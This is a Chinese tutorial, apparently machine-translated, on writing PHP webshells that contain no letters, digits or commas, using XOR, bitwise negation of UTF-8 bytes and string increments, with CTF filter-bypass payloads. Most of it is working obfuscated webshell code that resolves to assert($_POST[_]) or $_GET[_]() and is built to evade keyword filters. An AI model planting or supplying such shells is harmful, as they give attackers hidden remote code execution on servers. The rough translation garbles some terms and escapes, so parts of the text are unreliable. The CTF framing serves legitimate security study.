php 字符串编码-PHP 不使用字母、数字和逗号编写 shell

首先看一下P大师的文章《一些不包含数字和字母的webshel​​l》

还有这位大师的《记得用webshel​​l踩过的一个坑(如何用PHP编译一个不包含数字和字母的侧门)》

太强。 本文是在两位大师文章的基础上写成的。

CTF遇到了regex过滤字母、数字和逗号的问题,发现了一些PHP的风骚坐姿,觉得有必要总结一下。

另外声明一下,本文不是讲如何写打包,而是讲CTF中一些风骚坐姿的应用,但高手其实可以用这种坐姿来构造自己的打包。

后知识PHP中异或(^)的概念

<?php
   echo"A"^"?";
?>

输出的结果是字符“~”,这是由于代码对字符“A”和字符“?”进行了异或。 在PHP中对两个变量进行异或时,首先将字符串转换为ASCII值,然后将ASCII值转换为二进制补码,然后进行异或,将结果从二进制补码转换为ASCII值异或后。 然后转换为字符串。

A 的 ASCII 值是 65,对应的二进制值是 01000001

? 的 ASCII 值是 63,对应的二进制值是 00111111

异或的二进制的值是 10000000

二进制补码对应的ASCII是126,也就是字符“~”。

比如非字母PHP侧门

<?php
   @$_++// $_ = 1
   $__=("#"^"|"); // $__ = _
   $__.=("."^"~"); // _P
   $__.=("/"^"`"); // _PO
   $__.=("|"^"/"); // _POS
   $__.=("{"^"/"); // _POST 
   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

甚至可以将上面的代码合并为一行,从而使程序的可读性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

PHP中否定(~)的概念

我们来看一个汉字“和”

>>>print("和".encode('utf8'))
b'xe5x92x8c'
>>>print("和".encode('utf8')[2])
140
>>>print(~"和".encode('utf8')[2])
-141

“and”第三个字节的值为140[0x8c],取反后的值为-141

正数用十六进制补码表示,一般采用原码方式表示。 正数的底数是它自己的值,每一个都取负数,最后加一。 141的16进制补码是0xffxff73,在php中chr(0xffxff73)==115,115就是s的ASCII值。

<?php
$_="和";
print(~($_{2}));
print(~"x8c");
?>

这两个拼写具有相同的性质

结果会输出:ss

构造没有数字的数字

借助PHP的弱类型特性,true的值为1,所以true+true==2。

$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)

结果将输出:21

php中未定义变量的默认值是null,null==false==0,所以我们可以通过增加未定义变量来得到一个数字,而不需要使用任何数字。

<?php
$_++;
print($_);
?>

结果会输出:1

没有数字和字母的外壳

在谈论编写不带数字、字母和逗号的 shell 之前,我们首先了解一下 shell 是不带数字和字母编写的。 虽然学习是循序渐进的。 而且是否使用逗号并不是什么大问题,因为PHP太灵活了。 代码:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
 eval($_GET['shell']);
}

思路

对字母和数字以外的字符进行各种变换后php 字符串编码,可以构造出az中的任意字符。 然后借助PHP允许动态函数执行的特性,在拼接处拼接一个“assert”这样的函数名,然后动态执行。

非字母或数字的字符与字母进行异或运算

不可复制的字符,用url编码表示。

字符串编码规则_字符串编码算法_php 字符串编码

<?php
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

您还可以使用较短的字符,这将在下面使用。

"`{{{"^"?/"//_GET

^ 对两边对应的字符串进行异或。

反转非字母和数字字符以生成字母

借助UTF-8编码的某个汉字,去掉其中一个字符,反转为一个字母。汉字的utf8是三个字节,{2}表示第三个字节

<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"
"
;

print(~($____{$__}));

有效负载

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

还有一种简写方式 ${~"xa0xb8xbaxab"} 等于 $_GET。 这相当于直接提取utf8编码的某个字节并统一反转。

php 自增/自减运算符

这些技术的明显缺点是它们需要大量字符。

'a'++=>'b'、'b'++=>'c',只要我们能得到一个值为a的变量,通过自增操作就可以得到az中的所有字符。

链表(Array)的第一个字母是小写A,第四个字母是大写a。 在PHP中,如果强行连接链表和字符串,链表会被转换为值为Array的字符串。 然后取这个字符串的第一个字母,就可以得到'A'。

由于PHP函数不区分大小写,所以最终执行的是ASSERT($POST[]),不需要获取大写的a。

<?php
$_=[];
$_=@"$_"// $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_// A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__// S
$___.=$__// S
$__=$_;
$__++;$__++;$__++;$__++// E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++// R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++// T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++// P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++// O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++// S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++// T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

不使用数字和字母编写 shell 的示例

<?php
include'flag.php';
if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>40){
       die("Long.");
  }
   if(preg_match("/[A-Za-z0-9]+/",$code)){
       die("NO.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

要求代码宽度不能小于40,输入不能仅限于字母和数字。 借助PHP允许动态函数执行的特性,可以拼接出一个函数名getFlag(),然后动态执行。

这里还是可以用异或,但是里面写的字符宽度太长了。 需要简明扼要地写:

有效负载

?code=$_="`{{{"^"?/";${$_}[_](${$_}[__]);&_=getFlag

这里的“`{{{”^”?/”已经说了,它是XOR的简写,意思是_GET。

${$_}[_](${$_}[__]); 等于 $_GET[_]($_GET[__]);

传递 _ 作为参数并执行 getFlag()

其实这个问题也是可以反过来的,不过下面会提到,这里就不重复了。

不带数字、字母和逗号的 shell 编写示例

<?php

include'flag.php';

if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>50){
       die("Too Long.");
  }
   if(preg_match("/[A-Za-z0-9_]+/",$code)){
       die("Not Allowed.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?> 

没有给出逗号,这是非常可怕的。 这意味着无法定义变量,也无法构造数字。 但在PHP的灵活性面前,问题并不大。

这是学长一开始给的payload,+号必须加破折号

"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

51个字符太长,所以这里可以使用简洁的书写方式

('$').("`{{{"^"?/").(['+'])&+=getFlag();

但这不可能成功。

学长给出了解释:eval只能解析一次代码,所以如果你写了像ab这样的字符串拼接,它只会执行这次拼接,而不会执行代码

例如:

eval($_GET['b']) 上面的 url b=phpinfo(); 此时相当于eval('phpinfo();')

eval($_GET['b']) 上面的 url b=$_GET[c]&c=phpinfo(); 相当于 eval('$_GET[c]')

里面的payload为code=$_GET['+']&+=getFlag(); 也就是说,eval('$_GET['+'])不会执行getFlag();

正确的有效负载是:

${"`{{{"^"?/"}['+']();&+=getFlag

这里,${}中的代码被用来执行可执行,尽管它也是一个可变变量。

<?php
   $a='hello';
   $$a='world';
   echo"$a${$a}";
?>

输出:helloworld

${$a},括号里的$a是可执行的,就变成hello了。

负载中的 {} 也是基于此原理。 异或在{}中使用,^在{}中执行,即异或运算在上面提到的“`{{{”^”?/”中执行,这在_GET上相当。

php 字符串编码_字符串编码规则_字符串编码算法

最后eval函数连接字符串`$_GET'+'`;,然后传入+=getFlag,最后执行函数getFlag();

429个掠食者给出的有效载荷:

%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

这里使用了否定

~取反操作是在{}中进行的,所以${~"xa0xb8xbaxab"}的取反相当于$_GET。

与之前的有效负载类似,$_GET['+'](); 连接起来,传入 +=getFlag() 来执行该函数。

还有一个串联的有效负载:

code=$=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$();

原理和太原不同,$ah=getFlag;$ah();,这里不需要使用{},因为取反的值直接作为字符串参数给$ah。

总结

PHP是弱类型语言,所以我们可以利用这个特性来执行很多特殊的操作,即用各种姿势来达到同一个目的。 不过,随着PHP版本的变化,PHP的一些特性也会发生变化。 例如php5中的assert是一个函数php 字符串编码,但是在php7中,assert不再是一个函数,而是一个语言结构(类似eval),不能再作为函数名。 动态执行代码。 为此,我们需要更加熟悉php不同版本之间的差异。

不要忘记贡献

你有很好的技术原创文章